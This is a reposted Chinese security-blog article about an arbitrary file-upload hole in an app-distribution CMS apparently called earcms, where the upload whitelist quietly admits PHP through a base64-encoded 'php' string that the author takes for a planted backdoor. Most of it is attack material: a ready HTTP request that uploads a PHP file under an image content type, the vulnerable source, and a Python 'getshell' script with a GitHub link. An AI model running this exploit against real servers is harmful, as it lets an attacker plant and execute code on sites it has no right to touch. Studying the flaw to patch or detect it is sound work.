某云分发APP上传漏洞

admin 2022年1月6日03:51:28安全文章评论18 views2580字阅读8分36秒阅读模式


某云分发APP上传漏洞

0x01 前言

最近都在忙(咸鱼)在某此渗透行动中发现的一个洞感觉是开发留的一个后门。

0x02 漏洞复现

Payload:

POST /source/pack/upload/index-uplog.php HTTP/1.1
Host: 127.0.0.1
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWa8hDK6XlSEJhi7
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 322
------WebKitFormBoundaryZWa8hDK6XlSEJhi7
Content-Disposition: form-data; name="app"; filename="Lighthouse.php"
Content-Type: image/jpeg
<?php phpinfo();;unlink(__FILE__);?>
------WebKitFormBoundaryZWa8hDK6XlSEJhi7
Content-Disposition: form-data; name="time"
test
------WebKitFormBoundaryZWa8hDK6XlSEJhi7--

某云分发APP上传漏洞

执行后会在datatmp下生成test.php文件

某云分发APP上传漏洞


访问url:http://127.0.0.1/data/tmp/test.php


某云分发APP上传漏洞


0x03 漏洞分析

漏洞文件位置:source/pack/upload/index-uplog.php

<?php
if(!empty($_FILES)){
$filepart = pathinfo($_FILES['app']['name']);
$extension = strtolower($filepart['extension']);
if(in_array($extension,array('ipa','apk',base64_decode('cGhw')))){
$time = $_POST['time'];
$dir = '../../../data/tmp/'.$time.'/';
if(!is_dir($dir)){
@mkdir($dir,0777,true);
}
$file = '../../../data/tmp/'.$time.'.'.$extension;
@move_uploaded_file($_FILES['app']['tmp_name'],$file);
if($extension == 'ipa'){
include_once '../zip/zip.php';
$zip = new PclZip($file);
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload/.*.app/Info.plist$/');
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload/.*.app/embedded.mobileprovision$/');
$zip->extract(PCLZIP_OPT_PATH,$dir,PCLZIP_OPT_BY_PREG,'/^Payload/.*.app/(?!.*/).*.png$/');
}
echo "{'extension':'$extension','time':'$time','size':'".$_FILES['app']['size']."'}";
}else{
echo '-1';
}
}
?>

刚开始看的时候是以为限制了白名单,后面还加了一个base64解码的,cGhw解开得php,这就很奇怪了,这不是此地无银三百两吗??应该是开发者留的一个后门吧,这居心叵测,呕~

这个洞也没什么好分析的,time参数是上传后的文件名。

0x04 Getshell脚本

https://github.com/F0r3at/Python-Tools/blob/master/%E4%BA%91%E5%88%86%E5%8F%91app.py

# coding:utf-8
import requests
from requests_toolbelt import MultipartEncoder
requests.packages.urllib3.disable_warnings()
def exp(url):
    urls = url + '/source/pack/upload/index-uplog.php'
    m = MultipartEncoder(
        fields={'time': 'test', 'app': (
        'Lighthouse.php', open("./Lighthouse.php", 'rb'), 'image/jpeg')}
    )
    header = {
        "Connection": "close",
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
        "Content-Type": m.content_type,
        "Accept": "*/*",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }
    requests.request("POST", urls, verify=False, data=m, headers=header, timeout=10)
exp("http://127.0.0.1")

0x05 结尾

后来看了看,这套系统还有另外一个名称叫做earcms,只是不太出名而已,后台有点类似dz。

某云分发APP上传漏洞


本文始发于微信公众号(疯猫网络):某云分发APP上传漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日03:51:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  某云分发APP上传漏洞 http://cn-sec.com/archives/508445.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: